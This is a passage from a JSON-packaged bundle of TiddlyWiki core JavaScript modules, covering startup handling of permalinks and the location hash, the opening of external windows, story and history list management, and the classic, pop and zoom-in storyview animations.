\"\";\n\t\t\tvar storyFilter = $tw.wiki.getTiddlerText(DEFAULT_TIDDLERS_TITLE),\n\t\t\t\tstoryList = $tw.wiki.filterTiddlers(storyFilter);\n\t\t\t//invoke any hooks that might change the default story list\n\t\t\tstoryList = $tw.hooks.invokeHook(\"th-opening-default-tiddlers-list\",storyList);\n\t\t\t$tw.wiki.addTiddler({title: DEFAULT_STORY_TITLE, text: \"\", list: storyList},$tw.wiki.getModificationFields());\n\t\t\tif(storyList[0]) {\n\t\t\t\t$tw.wiki.addToHistory(storyList[0]);\n\t\t\t}\n\t\t});\n\t\t// Listen for the tm-permalink message\n\t\t$tw.rootWidget.addEventListener(\"tm-permalink\",function(event) {\n\t\t\tupdateLocationHash({\n\t\t\t\tupdateAddressBar: $tw.wiki.getTiddlerText(CONFIG_PERMALINKVIEW_UPDATE_ADDRESS_BAR,\"yes\").trim() === \"yes\" ? \"permalink\" : \"none\",\n\t\t\t\tupdateHistory: $tw.wiki.getTiddlerText(CONFIG_UPDATE_HISTORY,\"no\").trim(),\n\t\t\t\ttargetTiddler: event.param || event.tiddlerTitle,\n\t\t\t\tcopyToClipboard: $tw.wiki.getTiddlerText(CONFIG_PERMALINKVIEW_COPY_TO_CLIPBOARD,\"yes\").trim() === \"yes\" ? \"permalink\" : \"none\"\n\t\t\t});\n\t\t});\n\t\t// Listen for the tm-permaview message\n\t\t$tw.rootWidget.addEventListener(\"tm-permaview\",function(event) {\n\t\t\tupdateLocationHash({\n\t\t\t\tupdateAddressBar: $tw.wiki.getTiddlerText(CONFIG_PERMALINKVIEW_UPDATE_ADDRESS_BAR,\"yes\").trim() === \"yes\" ? \"permaview\" : \"none\",\n\t\t\t\tupdateHistory: $tw.wiki.getTiddlerText(CONFIG_UPDATE_HISTORY,\"no\").trim(),\n\t\t\t\ttargetTiddler: event.param || event.tiddlerTitle,\n\t\t\t\tcopyToClipboard: $tw.wiki.getTiddlerText(CONFIG_PERMALINKVIEW_COPY_TO_CLIPBOARD,\"yes\").trim() === \"yes\" ? \"permaview\" : \"none\"\n\t\t\t});\t\t\t\t\n\t\t});\n\t}\n};\n\n/*\nProcess the location hash to open the specified tiddlers. Options:\ndisableHistory: if true $:/History is NOT updated\ndefaultToCurrentStory: If true, the current story is retained as the default, instead of opening the default tiddlers\n*/\nfunction openStartupTiddlers(options) {\n\toptions = options || {};\n\t// Work out the target tiddler and the story filter. \"null\" means \"unspecified\"\n\tvar target = null,\n\t\tstoryFilter = null;\n\tif($tw.locationHash.length > 1) {\n\t\tvar hash = $tw.locationHash.substr(1),\n\t\t\tsplit = hash.indexOf(\":\");\n\t\tif(split === -1) {\n\t\t\ttarget = decodeURIComponent(hash.trim());\n\t\t} else {\n\t\t\ttarget = decodeURIComponent(hash.substr(0,split).trim());\n\t\t\tstoryFilter = decodeURIComponent(hash.substr(split + 1).trim());\n\t\t}\n\t}\n\t// If the story wasn't specified use the current tiddlers or a blank story\n\tif(storyFilter === null) {\n\t\tif(options.defaultToCurrentStory) {\n\t\t\tvar currStoryList = $tw.wiki.getTiddlerList(DEFAULT_STORY_TITLE);\n\t\t\tstoryFilter = $tw.utils.stringifyList(currStoryList);\n\t\t} else {\n\t\t\tif(target && target !== \"\") {\n\t\t\t\tstoryFilter = \"\";\n\t\t\t} else {\n\t\t\t\tstoryFilter = $tw.wiki.getTiddlerText(DEFAULT_TIDDLERS_TITLE);\n\t\t\t}\n\t\t}\n\t}\n\t// Process the story filter to get the story list\n\tvar storyList = $tw.wiki.filterTiddlers(storyFilter);\n\t// Invoke any hooks that want to change the default story list\n\tstoryList = $tw.hooks.invokeHook(\"th-opening-default-tiddlers-list\",storyList);\n\t// If the target tiddler isn't included then splice it in at the top\n\tif(target && storyList.indexOf(target) === -1) {\n\t\tstoryList.unshift(target);\n\t}\n\t// Save the story list\n\t$tw.wiki.addTiddler({title: DEFAULT_STORY_TITLE, text: \"\", list: storyList},$tw.wiki.getModificationFields());\n\t// Update history\n\tif(!options.disableHistory) {\n\t\t// If a target tiddler was specified add it to the history stack\n\t\tif(target && target !== \"\") {\n\t\t\t// The target tiddler doesn't need double square brackets, but we'll silently remove them if they're present\n\t\t\tif(target.indexOf(\"[[\") === 0 && target.substr(-2) === \"]]\") {\n\t\t\t\ttarget = target.substr(2,target.length - 4);\n\t\t\t}\n\t\t\t$tw.wiki.addToHistory(target);\n\t\t} else if(storyList.length > 0) {\n\t\t\t$tw.wiki.addToHistory(storyList[0]);\n\t\t}\t\t\n\t}\n}\n\n/*\noptions: See below\noptions.updateAddressBar: \"permalink\", \"permaview\" or \"no\" (defaults to \"permaview\")\noptions.updateHistory: \"yes\" or \"no\" (defaults to \"no\")\noptions.copyToClipboard: \"permalink\", \"permaview\" or \"no\" (defaults to \"no\")\noptions.targetTiddler: optional title of target tiddler for permalink\n*/\nfunction updateLocationHash(options) {\n\t// Get the story and the history stack\n\tvar storyList = $tw.wiki.getTiddlerList(DEFAULT_STORY_TITLE),\n\t\thistoryList = $tw.wiki.getTiddlerData(DEFAULT_HISTORY_TITLE,[]),\n\t\ttargetTiddler = \"\";\n\tif(options.targetTiddler) {\n\t\ttargetTiddler = options.targetTiddler;\n\t} else {\n\t\t// The target tiddler is the one at the top of the stack\n\t\tif(historyList.length > 0) {\n\t\t\ttargetTiddler = historyList[historyList.length-1].title;\n\t\t}\n\t\t// Blank the target tiddler if it isn't present in the story\n\t\tif(storyList.indexOf(targetTiddler) === -1) {\n\t\t\ttargetTiddler = \"\";\n\t\t}\n\t}\n\t// Assemble the location hash\n\tswitch(options.updateAddressBar) {\n\t\tcase \"permalink\":\n\t\t\t$tw.locationHash = \"#\" + encodeURIComponent(targetTiddler);\n\t\t\tbreak;\n\t\tcase \"permaview\":\n\t\t\t$tw.locationHash = \"#\" + encodeURIComponent(targetTiddler) + \":\" + encodeURIComponent($tw.utils.stringifyList(storyList));\n\t\t\tbreak;\n\t}\n\t// Copy URL to the clipboard\n\tswitch(options.copyToClipboard) {\n\t\tcase \"permalink\":\n\t\t\t$tw.utils.copyToClipboard($tw.utils.getLocationPath() + \"#\" + encodeURIComponent(targetTiddler));\n\t\t\tbreak;\n\t\tcase \"permaview\":\n\t\t\t$tw.utils.copyToClipboard($tw.utils.getLocationPath() + \"#\" + encodeURIComponent(targetTiddler) + \":\" + encodeURIComponent($tw.utils.stringifyList(storyList)));\n\t\t\tbreak;\n\t}\n\t// Only change the location hash if we must, thus avoiding unnecessary onhashchange events\n\tif($tw.utils.getLocationHash() !== $tw.locationHash) {\n\t\tif(options.updateHistory === \"yes\") {\n\t\t\t// Assign the location hash so that history is updated\n\t\t\twindow.location.hash = $tw.locationHash;\n\t\t} else {\n\t\t\t// We use replace so that browser history isn't affected\n\t\t\twindow.location.replace(window.location.toString().split(\"#\")[0] + $tw.locationHash);\n\t\t}\n\t}\n}\n\n})();\n",
"type": "application/javascript",
"module-type": "startup"
},
"$:/core/modules/startup/windows.js": {
"title": "$:/core/modules/startup/windows.js",
"text": "/*\\\ntitle: $:/core/modules/startup/windows.js\ntype: application/javascript\nmodule-type: startup\n\nSetup root widget handlers for the messages concerned with opening external browser windows\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Export name and synchronous status\nexports.name = \"windows\";\nexports.platforms = [\"browser\"];\nexports.after = [\"startup\"];\nexports.synchronous = true;\n\n// Global to keep track of open windows (hashmap by title)\nvar windows = {};\n\nexports.startup = function() {\n\t// Handle open window message\n\t$tw.rootWidget.addEventListener(\"tm-open-window\",function(event) {\n\t\t// Get the parameters\n\t\tvar refreshHandler,\n\t\t\ttitle = event.param || event.tiddlerTitle,\n\t\t\tparamObject = event.paramObject || {},\n\t\t\twindowTitle = paramObject.windowTitle || title,\n\t\t\ttemplate = paramObject.template || \"$:/core/templates/single.tiddler.window\",\n\t\t\twidth = paramObject.width || \"700\",\n\t\t\theight = paramObject.height || \"600\",\n\t\t\tvariables = $tw.utils.extend({},paramObject,{currentTiddler: title});\n\t\t// Open the window\n\t\tvar srcWindow,\n\t\t srcDocument;\n\t\t// In case that popup blockers deny opening a new window\n\t\ttry {\n\t\t\tsrcWindow = window.open(\"\",\"external-\" + title,\"scrollbars,width=\" + width + \",height=\" + height),\n\t\t\tsrcDocument = srcWindow.document;\n\t\t}\n\t\tcatch(e) {\n\t\t\treturn;\n\t\t}\n\t\twindows[title] = srcWindow;\n\t\t// Check for reopening the same window\n\t\tif(srcWindow.haveInitialisedWindow) {\n\t\t\treturn;\n\t\t}\n\t\t// Initialise the document\n\t\tsrcDocument.write(\"<html><head></head><body class='tc-body tc-single-tiddler-window'></body></html>\");\n\t\tsrcDocument.close();\n\t\tsrcDocument.title = windowTitle;\n\t\tsrcWindow.addEventListener(\"beforeunload\",function(event) {\n\t\t\tdelete windows[title];\n\t\t\t$tw.wiki.removeEventListener(\"change\",refreshHandler);\n\t\t},false);\n\t\t// Set up the styles\n\t\tvar styleWidgetNode = $tw.wiki.makeTranscludeWidget(\"$:/core/ui/PageStylesheet\",{\n\t\t\t\tdocument: $tw.fakeDocument,\n\t\t\t\tvariables: variables,\n\t\t\t\timportPageMacros: true}),\n\t\t\tstyleContainer = $tw.fakeDocument.createElement(\"style\");\n\t\tstyleWidgetNode.render(styleContainer,null);\n\t\tvar styleElement = srcDocument.createElement(\"style\");\n\t\tstyleElement.innerHTML = styleContainer.textContent;\n\t\tsrcDocument.head.insertBefore(styleElement,srcDocument.head.firstChild);\n\t\t// Render the text of the tiddler\n\t\tvar parser = $tw.wiki.parseTiddler(template),\n\t\t\twidgetNode = $tw.wiki.makeWidget(parser,{document: srcDocument, parentWidget: $tw.rootWidget, variables: variables});\n\t\twidgetNode.render(srcDocument.body,srcDocument.body.firstChild);\n\t\t// Function to handle refreshes\n\t\trefreshHandler = function(changes) {\n\t\t\tif(styleWidgetNode.refresh(changes,styleContainer,null)) {\n\t\t\t\tstyleElement.innerHTML = styleContainer.textContent;\n\t\t\t}\n\t\t\twidgetNode.refresh(changes);\n\t\t};\n\t\t$tw.wiki.addEventListener(\"change\",refreshHandler);\n\t\t// Listen for keyboard shortcuts\n\t\t$tw.utils.addEventListeners(srcDocument,[{\n\t\t\tname: \"keydown\",\n\t\t\thandlerObject: $tw.keyboardManager,\n\t\t\thandlerMethod: \"handleKeydownEvent\"\n\t\t},{\n\t\t\tname: \"click\",\n\t\t\thandlerObject: $tw.popup,\n\t\t\thandlerMethod: \"handleEvent\"\n\t\t}]);\n\t\tsrcWindow.haveInitialisedWindow = true;\n\t});\n\t// Close open windows when unloading main window\n\t$tw.addUnloadTask(function() {\n\t\t$tw.utils.each(windows,function(win) {\n\t\t\twin.close();\n\t\t});\n\t});\n\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "startup"
},
"$:/core/modules/story.js": {
"title": "$:/core/modules/story.js",
"text": "/*\\\ntitle: $:/core/modules/story.js\ntype: application/javascript\nmodule-type: global\n\nLightweight object for managing interactions with the story and history lists.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nConstruct Story object with options:\nwiki: reference to wiki object to use to resolve tiddler titles\nstoryTitle: title of story list tiddler\nhistoryTitle: title of history list tiddler\n*/\nfunction Story(options) {\n\toptions = options || {};\n\tthis.wiki = options.wiki || $tw.wiki;\n\tthis.storyTitle = options.storyTitle || \"$:/StoryList\";\n\tthis.historyTitle = options.historyTitle || \"$:/HistoryList\";\n};\n\nStory.prototype.navigateTiddler = function(navigateTo,navigateFromTitle,navigateFromClientRect) {\n\tthis.addToStory(navigateTo,navigateFromTitle);\n\tthis.addToHistory(navigateTo,navigateFromClientRect);\n};\n\nStory.prototype.getStoryList = function() {\n\treturn this.wiki.getTiddlerList(this.storyTitle) || [];\n};\n\nStory.prototype.addToStory = function(navigateTo,navigateFromTitle,options) {\n\toptions = options || {};\n\tvar storyList = this.getStoryList();\n\t// See if the tiddler is already there\n\tvar slot = storyList.indexOf(navigateTo);\n\t// Quit if it already exists in the story river\n\tif(slot >= 0) {\n\t\treturn;\n\t}\n\t// First we try to find the position of the story element we navigated from\n\tvar fromIndex = storyList.indexOf(navigateFromTitle);\n\tif(fromIndex >= 0) {\n\t\t// The tiddler is added from inside the river\n\t\t// Determine where to insert the tiddler; Fallback is \"below\"\n\t\tswitch(options.openLinkFromInsideRiver) {\n\t\t\tcase \"top\":\n\t\t\t\tslot = 0;\n\t\t\t\tbreak;\n\t\t\tcase \"bottom\":\n\t\t\t\tslot = storyList.length;\n\t\t\t\tbreak;\n\t\t\tcase \"above\":\n\t\t\t\tslot = fromIndex;\n\t\t\t\tbreak;\n\t\t\tcase \"below\": // Intentional fall-through\n\t\t\tdefault:\n\t\t\t\tslot = fromIndex + 1;\n\t\t\t\tbreak;\n\t\t}\n\t} else {\n\t\t// The tiddler is opened from outside the river. Determine where to insert the tiddler; default is \"top\"\n\t\tif(options.openLinkFromOutsideRiver === \"bottom\") {\n\t\t\t// Insert at bottom\n\t\t\tslot = storyList.length;\n\t\t} else {\n\t\t\t// Insert at top\n\t\t\tslot = 0;\n\t\t}\n\t}\n\t// Add the tiddler\n\tstoryList.splice(slot,0,navigateTo);\n\t// Save the story\n\tthis.saveStoryList(storyList);\n};\n\nStory.prototype.saveStoryList = function(storyList) {\n\tvar storyTiddler = this.wiki.getTiddler(this.storyTitle);\n\tthis.wiki.addTiddler(new $tw.Tiddler(\n\t\tthis.wiki.getCreationFields(),\n\t\t{title: this.storyTitle},\n\t\tstoryTiddler,\n\t\t{list: storyList},\n\t\tthis.wiki.getModificationFields()\n\t));\n};\n\nStory.prototype.addToHistory = function(navigateTo,navigateFromClientRect) {\n\tvar titles = $tw.utils.isArray(navigateTo) ? navigateTo : [navigateTo];\n\t// Add a new record to the top of the history stack\n\tvar historyList = this.wiki.getTiddlerData(this.historyTitle,[]);\n\t$tw.utils.each(titles,function(title) {\n\t\thistoryList.push({title: title, fromPageRect: navigateFromClientRect});\n\t});\n\tthis.wiki.setTiddlerData(this.historyTitle,historyList,{\"current-tiddler\": titles[titles.length-1]});\n};\n\nStory.prototype.storyCloseTiddler = function(targetTitle) {\n// TBD\n};\n\nStory.prototype.storyCloseAllTiddlers = function() {\n// TBD\n};\n\nStory.prototype.storyCloseOtherTiddlers = function(targetTitle) {\n// TBD\n};\n\nStory.prototype.storyEditTiddler = function(targetTitle) {\n// TBD\n};\n\nStory.prototype.storyDeleteTiddler = function(targetTitle) {\n// TBD\n};\n\nStory.prototype.storySaveTiddler = function(targetTitle) {\n// TBD\n};\n\nStory.prototype.storyCancelTiddler = function(targetTitle) {\n// TBD\n};\n\nStory.prototype.storyNewTiddler = function(targetTitle) {\n// TBD\n};\n\nexports.Story = Story;\n\n\n})();\n",
"type": "application/javascript",
"module-type": "global"
},
"$:/core/modules/storyviews/classic.js": {
"title": "$:/core/modules/storyviews/classic.js",
"text": "/*\\\ntitle: $:/core/modules/storyviews/classic.js\ntype: application/javascript\nmodule-type: storyview\n\nViews the story as a linear sequence\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar easing = \"cubic-bezier(0.645, 0.045, 0.355, 1)\"; // From http://easings.net/#easeInOutCubic\n\nvar ClassicStoryView = function(listWidget) {\n\tthis.listWidget = listWidget;\n};\n\nClassicStoryView.prototype.navigateTo = function(historyInfo) {\n\tvar duration = $tw.utils.getAnimationDuration()\n\tvar listElementIndex = this.listWidget.findListItem(0,historyInfo.title);\n\tif(listElementIndex === undefined) {\n\t\treturn;\n\t}\n\tvar listItemWidget = this.listWidget.children[listElementIndex],\n\t\ttargetElement = listItemWidget.findFirstDomNode();\n\t// Abandon if the list entry isn't a DOM element (it might be a text node)\n\tif(!(targetElement instanceof Element)) {\n\t\treturn;\n\t}\n\tif(duration) {\n\t\t// Scroll the node into view\n\t\tthis.listWidget.dispatchEvent({type: \"tm-scroll\", target: targetElement});\t\n\t} else {\n\t\ttargetElement.scrollIntoView();\n\t}\n};\n\nClassicStoryView.prototype.insert = function(widget) {\n\tvar duration = $tw.utils.getAnimationDuration();\n\tif(duration) {\n\t\tvar targetElement = widget.findFirstDomNode();\n\t\t// Abandon if the list entry isn't a DOM element (it might be a text node)\n\t\tif(!(targetElement instanceof Element)) {\n\t\t\treturn;\n\t\t}\n\t\t// Get the current height of the tiddler\n\t\tvar computedStyle = window.getComputedStyle(targetElement),\n\t\t\tcurrMarginBottom = parseInt(computedStyle.marginBottom,10),\n\t\t\tcurrMarginTop = parseInt(computedStyle.marginTop,10),\n\t\t\tcurrHeight = targetElement.offsetHeight + currMarginTop;\n\t\t// Reset the margin once the transition is over\n\t\tsetTimeout(function() {\n\t\t\t$tw.utils.setStyle(targetElement,[\n\t\t\t\t{transition: \"none\"},\n\t\t\t\t{marginBottom: \"\"}\n\t\t\t]);\n\t\t},duration);\n\t\t// Set up the initial position of the element\n\t\t$tw.utils.setStyle(targetElement,[\n\t\t\t{transition: \"none\"},\n\t\t\t{marginBottom: (-currHeight) + \"px\"},\n\t\t\t{opacity: \"0.0\"}\n\t\t]);\n\t\t$tw.utils.forceLayout(targetElement);\n\t\t// Transition to the final position\n\t\t$tw.utils.setStyle(targetElement,[\n\t\t\t{transition: \"opacity \" + duration + \"ms \" + easing + \", \" +\n\t\t\t\t\t\t\"margin-bottom \" + duration + \"ms \" + easing},\n\t\t\t{marginBottom: currMarginBottom + \"px\"},\n\t\t\t{opacity: \"1.0\"}\n\t]);\n\t}\n};\n\nClassicStoryView.prototype.remove = function(widget) {\n\tvar duration = $tw.utils.getAnimationDuration();\n\tif(duration) {\n\t\tvar targetElement = widget.findFirstDomNode(),\n\t\t\tremoveElement = function() {\n\t\t\t\twidget.removeChildDomNodes();\n\t\t\t};\n\t\t// Abandon if the list entry isn't a DOM element (it might be a text node)\n\t\tif(!(targetElement instanceof Element)) {\n\t\t\tremoveElement();\n\t\t\treturn;\n\t\t}\n\t\t// Get the current height of the tiddler\n\t\tvar currWidth = targetElement.offsetWidth,\n\t\t\tcomputedStyle = window.getComputedStyle(targetElement),\n\t\t\tcurrMarginBottom = parseInt(computedStyle.marginBottom,10),\n\t\t\tcurrMarginTop = parseInt(computedStyle.marginTop,10),\n\t\t\tcurrHeight = targetElement.offsetHeight + currMarginTop;\n\t\t// Remove the dom nodes of the widget at the end of the transition\n\t\tsetTimeout(removeElement,duration);\n\t\t// Animate the closure\n\t\t$tw.utils.setStyle(targetElement,[\n\t\t\t{transition: \"none\"},\n\t\t\t{transform: \"translateX(0px)\"},\n\t\t\t{marginBottom: currMarginBottom + \"px\"},\n\t\t\t{opacity: \"1.0\"}\n\t\t]);\n\t\t$tw.utils.forceLayout(targetElement);\n\t\t$tw.utils.setStyle(targetElement,[\n\t\t\t{transition: $tw.utils.roundTripPropertyName(\"transform\") + \" \" + duration + \"ms \" + easing + \", \" +\n\t\t\t\t\t\t\"opacity \" + duration + \"ms \" + easing + \", \" +\n\t\t\t\t\t\t\"margin-bottom \" + duration + \"ms \" + easing},\n\t\t\t{transform: \"translateX(-\" + currWidth + \"px)\"},\n\t\t\t{marginBottom: (-currHeight) + \"px\"},\n\t\t\t{opacity: \"0.0\"}\n\t\t]);\n\t} else {\n\t\twidget.removeChildDomNodes();\n\t}\n};\n\nexports.classic = ClassicStoryView;\n\n})();",
"type": "application/javascript",
"module-type": "storyview"
},
"$:/core/modules/storyviews/pop.js": {
"title": "$:/core/modules/storyviews/pop.js",
"text": "/*\\\ntitle: $:/core/modules/storyviews/pop.js\ntype: application/javascript\nmodule-type: storyview\n\nAnimates list insertions and removals\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar PopStoryView = function(listWidget) {\n\tthis.listWidget = listWidget;\n};\n\nPopStoryView.prototype.navigateTo = function(historyInfo) {\n\tvar listElementIndex = this.listWidget.findListItem(0,historyInfo.title);\n\tif(listElementIndex === undefined) {\n\t\treturn;\n\t}\n\tvar listItemWidget = this.listWidget.children[listElementIndex],\n\t\ttargetElement = listItemWidget.findFirstDomNode();\n\t// Abandon if the list entry isn't a DOM element (it might be a text node)\n\tif(!(targetElement instanceof Element)) {\n\t\treturn;\n\t}\n\t// Scroll the node into view\n\tthis.listWidget.dispatchEvent({type: \"tm-scroll\", target: targetElement});\n};\n\nPopStoryView.prototype.insert = function(widget) {\n\tvar targetElement = widget.findFirstDomNode(),\n\t\tduration = $tw.utils.getAnimationDuration();\n\t// Abandon if the list entry isn't a DOM element (it might be a text node)\n\tif(!(targetElement instanceof Element)) {\n\t\treturn;\n\t}\n\t// Reset once the transition is over\n\tsetTimeout(function() {\n\t\t$tw.utils.setStyle(targetElement,[\n\t\t\t{transition: \"none\"},\n\t\t\t{transform: \"none\"}\n\t\t]);\n\t\t$tw.utils.setStyle(widget.document.body,[\n\t\t\t{\"overflow-x\": \"\"}\n\t\t]);\n\t},duration);\n\t// Prevent the page from overscrolling due to the zoom factor\n\t$tw.utils.setStyle(widget.document.body,[\n\t\t{\"overflow-x\": \"hidden\"}\n\t]);\n\t// Set up the initial position of the element\n\t$tw.utils.setStyle(targetElement,[\n\t\t{transition: \"none\"},\n\t\t{transform: \"scale(2)\"},\n\t\t{opacity: \"0.0\"}\n\t]);\n\t$tw.utils.forceLayout(targetElement);\n\t// Transition to the final position\n\t$tw.utils.setStyle(targetElement,[\n\t\t{transition: $tw.utils.roundTripPropertyName(\"transform\") + \" \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"opacity \" + duration + \"ms ease-in-out\"},\n\t\t{transform: \"scale(1)\"},\n\t\t{opacity: \"1.0\"}\n\t]);\n};\n\nPopStoryView.prototype.remove = function(widget) {\n\tvar targetElement = widget.findFirstDomNode(),\n\t\tduration = $tw.utils.getAnimationDuration(),\n\t\tremoveElement = function() {\n\t\t\tif(targetElement && targetElement.parentNode) {\n\t\t\t\twidget.removeChildDomNodes();\n\t\t\t}\n\t\t};\n\t// Abandon if the list entry isn't a DOM element (it might be a text node)\n\tif(!(targetElement instanceof Element)) {\n\t\tremoveElement();\n\t\treturn;\n\t}\n\t// Remove the element at the end of the transition\n\tsetTimeout(removeElement,duration);\n\t// Animate the closure\n\t$tw.utils.setStyle(targetElement,[\n\t\t{transition: \"none\"},\n\t\t{transform: \"scale(1)\"},\n\t\t{opacity: \"1.0\"}\n\t]);\n\t$tw.utils.forceLayout(targetElement);\n\t$tw.utils.setStyle(targetElement,[\n\t\t{transition: $tw.utils.roundTripPropertyName(\"transform\") + \" \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"opacity \" + duration + \"ms ease-in-out\"},\n\t\t{transform: \"scale(0.1)\"},\n\t\t{opacity: \"0.0\"}\n\t]);\n};\n\nexports.pop = PopStoryView;\n\n})();\n",
"type": "application/javascript",
"module-type": "storyview"
},
"$:/core/modules/storyviews/zoomin.js": {
"title": "$:/core/modules/storyviews/zoomin.js",
"text": "/*\\\ntitle: $:/core/modules/storyviews/zoomin.js\ntype: application/javascript\nmodule-type: storyview\n\nZooms between individual tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar easing = \"cubic-bezier(0.645, 0.045, 0.355, 1)\"; // From http://easings.net/#easeInOutCubic\n\nvar ZoominListView = function(listWidget) {\n\tvar self = this;\n\tthis.listWidget = listWidget;\n\t// Get the index of the tiddler that is at the top of the history\n\tvar history = this.listWidget.wiki.getTiddlerDataCached(this.listWidget.historyTitle,[]),\n\t\ttargetTiddler;\n\tif(history.length > 0) {\n\t\ttargetTiddler = history[history.length-1].title;\n\t}\n\t// Make all the tiddlers position absolute, and hide all but the top (or first) one\n\t$tw.utils.each(this.listWidget.children,function(itemWidget,index) {\n\t\tvar domNode = itemWidget.findFirstDomNode();\n\t\t// Abandon if the list entry isn't a DOM element (it might be a text node)\n\t\tif(!(domNode instanceof Element)) {\n\t\t\treturn;\n\t\t}\n\t\tif((targetTiddler && targetTiddler !== itemWidget.parseTreeNode.itemTitle) || (!targetTiddler && index)) {\n\t\t\tdomNode.style.display = \"none\";\n\t\t} else {\n\t\t\tself.currentTiddlerDomNode = domNode;\n\t\t}\n\t\t$tw.utils.addClass(domNode,\"tc-storyview-zoomin-tiddler\");\n\t});\n};\n\nZoominListView.prototype.navigateTo = function(historyInfo) {\n\tvar duration = $tw.utils.getAnimationDuration(),\n\t\tlistElementIndex = this.listWidget.findListItem(0,historyInfo.title);\n\tif(listElementIndex === undefined) {\n\t\treturn;\n\t}\n\tvar listItemWidget = this.listWidget.children[listElementIndex],\n\t\ttargetElement = listItemWidget.findFirstDomNode();\n\t// Abandon if the list entry isn't a DOM element (it might be a text node)\n\tif(!(targetElement instanceof Element)) {\n\t\treturn;\n\t}\n\t// Make the new tiddler be position absolute and visible so that we can measure it\n\t$tw.utils.addClass(targetElement,\"tc-storyview-zoomin-tiddler\");\n\t$tw.utils.setStyle(targetElement,[\n\t\t{display: \"block\"},\n\t\t{transformOrigin: \"0 0\"},\n\t\t{transform: \"translateX(0px) translateY(0px) scale(1)\"},\n\t\t{transition: \"none\"},\n\t\t{opacity: \"0.0\"}\n\t]);\n\t// Get the position of the source node, or use the centre of the window as the source position\n\tvar sourceBounds = historyInfo.fromPageRect || {\n\t\t\tleft: window.innerWidth/2 - 2,\n\t\t\ttop: window.innerHeight/2 - 2,\n\t\t\twidth: window.innerWidth/8,\n\t\t\theight: window.innerHeight/8\n\t\t};\n\t// Try to find the title node in the target tiddler\n\tvar titleDomNode = findTitleDomNode(listItemWidget) || listItemWidget.findFirstDomNode(),\n\t\tzoomBounds = titleDomNode.getBoundingClientRect();\n\t// Compute the transform for the target tiddler to make the title lie over the source rectange\n\tvar targetBounds = targetElement.getBoundingClientRect(),\n\t\tscale = sourceBounds.width / zoomBounds.width,\n\t\tx = sourceBounds.left - targetBounds.left - (zoomBounds.left - targetBounds.left) * scale,\n\t\ty = sourceBounds.top - targetBounds.top - (zoomBounds.top - targetBounds.top) * scale;\n\t// Transform the target tiddler to its starting position\n\t$tw.utils.setStyle(targetElement,[\n\t\t{transform: \"translateX(\" + x + \"px) translateY(\" + y + \"px) scale(\" + scale + \")\"}\n\t]);\n\t// Force layout\n\t$tw.utils.forceLayout(targetElement);\n\t// Apply the ending transitions with a timeout to ensure that the previously applied transformations are applied first\n\tvar self = this,\n\t\tprevCurrentTiddler = this.currentTiddlerDomNode;\n\tthis.currentTiddlerDomNode = targetElement;\n\t// Transform the target tiddler to its natural size\n\t$tw.utils.setStyle(targetElement,[\n\t\t{transition: $tw.utils.roundTripPropertyName(\"transform\") + \" \" + duration + \"ms \" + easing + \", opacity \" + duration + \"ms \" + easing},\n\t\t{opacity: \"1.0\"},\n\t\t{transform: \"translateX(0px) translateY(0px) scale(1)\"},\n\t\t{zIndex: \"500\"},\n\t]);\n\t// Transform the previous tiddler out of the way and then hide it\n\tif(prevCurrentTiddler && prevCurrentTiddler !== targetElement) {\n\t\tscale = zoomBounds.width / sourceBounds.width;\n\t\tx = zoomBounds.left - targetBounds.left - (sourceBounds.left - targetBounds.left) * scale;\n\t\ty = zoomBounds.top - targetBounds.top - (sourceBounds.top - targetBounds.top) * scale;\n\t\t$tw.utils.setStyle(prevCurrentTiddler,[\n\t\t\t{transition: $tw.utils.roundTripPropertyName(\"transform\") + \" \" + duration + \"ms \" + easing + \", opacity \" + duration + \"ms \" + easing},\n\t\t\t{opacity: \"0.0\"},\n\t\t\t{transformOrigin: \"0 0\"},\n\t\t\t{transform: \"translateX(\" + x + \"px) translateY(\" + y + \"px) scale(\" + scale + \")\"},\n\t\t\t{zIndex: \"0\"}\n\t\t]);\n\t\t// Hide the tiddler when the transition has finished\n\t\tsetTimeout(function() {\n\t\t\tif(self.currentTiddlerDomNode !== prevCurrentTiddler) {\n\t\t\t\tprevCurrentTiddler.style.display = \"none\";\n\t\t\t}\n\t\t},duration);\n\t}\n\t// Scroll the target into view\n//\t$tw.pageScroller.scrollIntoView(targetElement);\n};\n\n/*\nFind the first child DOM node of a widget that has the class \"tc-title\"\n*/\nfunction findTitleDomNode(widget,targetClass) {\n\ttargetClass = targetClass || \"tc-title\";\n\tvar domNode = widget.findFirstDomNode();\n\tif(domNode && domNode.querySelector) {\n\t\treturn domNode.querySelector(\".\" + targetClass);\n\t}\n\treturn null;\n}\n\nZoominListView.prototype.insert = function(widget) {\n\tvar targetElement = widget.findFirstDomNode();\n\t// Abandon if the list entry isn't a DOM element (it might be a text node)\n\tif(!(targetElement instanceof Element)) {\n\t\treturn;\n\t}\n\t// Make the newly inserted node position absolute and hidden\n\t$tw.utils.addClass(targetElement,\"tc-storyview-zoomin-tiddler\");\n\t$tw.utils.setStyle(targetElement,[\n\t\t{display: \"none\"}\n\t]);\n};\n\nZoominListView.prototype.remove = function(widget) {\n\tvar targetElement = widget.findFirstDomNode(),\n\t\tduration = $tw.utils.getAnimationDuration(),\n\t\tremoveElement = function() {\n\t\t\twidget.removeChildDomNodes();\n\t\t};\n\t// Abandon if the list entry isn't a DOM element (it might be a text node)\n\tif(!(targetElement instanceof Element)) {\n\t\tremoveElement();\n\t\treturn;\n\t}\n\t// Abandon if hidden\n\tif(targetElement.style.display != \"block\" ) {\n\t\tremoveElement();\n\t\treturn;\n\t}\n\t// Set up the tiddler that is being closed\n\t$tw.utils.addClass(targetElement,\"tc-storyview-zoomin-tiddler\");\n\t$tw.utils.setStyle(targetElement,[\n\t\t{display: \"block\"},\n\t\t{transformOrigin: \"50% 50%\"},\n\t\t{transform: \"translateX(0px) translateY(0px) scale(1)\"},\n\t\t{transition: \"none\"},\n\t\t{zIndex: \"0\"}\n\t]);\n\t// We'll move back to the 